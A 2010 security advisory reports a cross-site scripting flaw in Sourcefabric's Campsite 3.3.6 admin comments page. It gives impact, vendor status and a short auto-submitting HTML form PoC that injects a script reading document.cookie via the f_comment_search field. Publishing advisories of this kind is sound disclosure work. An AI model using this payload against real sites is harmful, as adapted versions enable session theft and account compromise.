Vulnerability ID: HTB22494 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_campsite.html Product: Campsite Vendor: Sourcefabric o.p.s ( http://www.sourcefabric.org/ ) Vulnerable Version: 3.3.6 and Probably Prior Versions Vendor Notification: 16 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/comments/index.php" script to properly sanitize user-supplied input in "f_comment_search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/comments/index.php"; method="post" name="main" > <input type="hidden" name="f_comment_per_page" value="20" > <input type="hidden" name="f_comment_search" value='1"><script>alert(document.cookie)</script>'> <input type="hidden" name="f_comment_order_by" value="datestamp"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
